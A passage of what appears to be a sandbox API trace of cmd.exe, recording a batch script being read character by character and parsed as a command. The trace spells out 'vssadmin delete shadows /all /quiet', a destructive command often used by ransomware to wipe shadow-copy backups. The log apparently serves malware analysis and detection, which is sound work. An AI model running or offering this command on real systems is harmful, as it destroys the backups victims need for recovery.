lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e334, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.985] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.985] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.985] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e336, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0055.986] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.986] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.986] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.986] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.986] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.986] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e33a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0055.986] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.986] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.986] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e33c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.986] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.986] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.986] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e33e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.986] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.986] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.986] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e340, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0055.986] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.986] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.987] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e342, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0055.987] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.987] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.987] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e344, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0055.987] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.987] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.987] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e346, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0055.987] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.987] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.987] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e348, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0055.987] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.987] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.987] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e34a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0055.987] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.987] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.987] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0055.988] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.988] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.988] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.988] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.988] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.988] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0055.988] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.988] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.988] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0055.988] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.988] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.988] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0055.988] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.988] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.988] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0055.988] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.988] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.988] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.989] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.989] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.989] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0055.989] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.989] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.989] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0055.989] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.989] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.989] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0055.989] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.989] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.989] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0055.989] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.989] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.989] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0055.989] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.989] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.990] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0055.990] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.990] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.990] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0055.991] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.991] GetFileType (hFile=0xf8) returned 0x3 [0055.991] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.991] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.991] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.991] GetFileType (hFile=0x104) returned 0x3 [0055.991] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0055.991] WriteFile (in: hFile=0x104, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1cf8d8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x1cf8d8*=0x24, lpOverlapped=0x0) returned 1 [0055.991] GetProcessHeap () returned 0x280000 [0055.991] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4012) returned 0x29cd20 [0055.991] GetProcessHeap () returned 0x280000 [0055.991] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd20 | out: hHeap=0x280000) returned 1 [0055.992] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0055.992] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0055.992] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0055.992] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0055.992] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0055.992] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0055.992] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0055.992] GetProcessHeap () returned 0x280000 [0055.992] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xb0) returned 0x2997e0 [0055.992] GetProcessHeap () returned 0x280000 [0055.992] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x22) returned 0x294610 [0055.993] GetProcessHeap () returned 0x280000 [0055.993] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x2998a0 [0055.994] GetConsoleOutputCP () returned 0x1b5 [0055.994] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a37bfe0 | out: lpCPInfo=0x4a37bfe0) returned 1 [0055.994] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0055.995] GetConsoleTitleW (in: lpConsoleTitle=0x1cf890, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0055.995] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0055.995] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0055.995] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0055.995] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0055.995] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0055.996] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0055.996] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0055.996] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0055.996] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0055.996] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0055.996] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0055.996] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0055.996] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0055.996] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0055.996] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0055.996] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0055.996] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0055.996] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0055.996] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0055.996] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0055.996] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0055.996] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0055.996] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0055.996] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0055.996] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0055.996] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0055.996] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0055.996] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0055.996] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0055.996] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0055.996] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0055.996] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0055.996] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0055.996] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0055.996] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0055.996] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0055.997] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0055.997] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0055.997] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0055.997] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0055.997] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0055.997] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0055.997] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0055.997] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0055.997] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0055.997] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0055.997] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0055.997] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0055.997] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0055.997] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0055.997] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0055.997] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0055.997] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0055.997] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0055.997] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0055.997] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0055.997] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0055.997] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0055.997] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0055.997] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0055.997] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0055.997] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0055.997] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0055.997] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0055.997] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0055.997] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0055.998] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0055.998] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0055.998] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0055.998] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0055.998] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0055.998] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0055.998] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0055.998] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0055.998] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0055.998] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0055.998] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0055.998] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0055.998] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0055.998] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0055.998] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0055.998] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0055.998] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0055.998] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0055.998] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0055.998] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0055.998] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0055.999] GetProcessHeap () returned 0x280000 [0055.999] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x218) returned 0x281ab0 [0055.999] GetProcessHeap () returned 0x280000 [0055.999] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x5a) returned 0x281cd0 [0055.999] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0055.999] GetProcessHeap () returned 0x280000 